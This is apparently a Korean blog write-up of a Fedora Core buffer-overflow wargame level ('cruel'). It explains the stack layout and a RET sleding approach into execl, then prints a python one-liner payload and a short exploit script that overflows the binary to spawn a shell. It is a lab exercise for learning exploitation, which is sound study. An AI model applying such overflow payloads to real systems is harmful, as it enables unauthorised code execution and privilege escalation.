문제 소스다.
일단 소스코드는 굉장히 간단해 보인다.
힌트에 나온 내용을 보면 fake ebp는 아닌 것 같고, RET Sleding을 하라고 한다.
그럼 힌트대로 RET Sleding을 해보자. 이전 문제들에서 RET Sleding을 해서 자신이 있다.
우선 스택의 값을 확인해 보자.
__gmon_start_는 strcpy 함수인것으로 보인다. 왜 저렇게 나온건지는 구글링 해서 조금 봤는데 무슨 말인지 이해가 안가서 일단은 문제부터 풀었다.
ebp-256이 argv[1]의 위치다.
따라서 256 바이트가 일반 버퍼의 사이즈고 그 뒤부터 sfp, ret다.
이제 RET Sleding을 몇번 줄지와 execl함수의 인자를 줄 적당한 위치를 찾아야 한다.
일단 함수의 ret부분에 BP를 걸고 멈춰서 스택을 살펴보자.
스택을 보면 0x008caff4가 있는 부분이 딱 적당하다.
이유는 아래와 같다.
0x008caff4는 심볼릭 링크로 주기 편한 값을 가지고 있고 바로 4바이트 뒤엔 NULL을 가리키고 있어서 딱 여기다.
그래서 RET Sleding을 7번 주고 바로 다음에 execl함수의 주소를 주면 익스가 성공할 것이다.
payload
`python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`
exploit code
import os import struct p = lambda x : struct.pack('<L', x) execl = "\x68\x2d\x83" #0x00832d68 ret = 0x8048451 payload = "A"*260 payload += p(ret) * 7 payload += execl os.system('./cruel ' + payload)
쉘 획득
'Wargame > FedoraCore BOF' 카테고리의 다른 글
Fedora Core4 enigma -> titan (0) | 2018.03.04 |
---|---|
Fedora Core4 cruel -> enigma (0) | 2018.03.01 |
Fedora Core3 evil_wizard -> dark_stone (0) | 2018.02.25 |
Fedora Core3 hell_file -> evil_wizard (0) | 2018.02.25 |
Fedora Core3 dark_eyes -> hell_fire (0) | 2018.02.24 |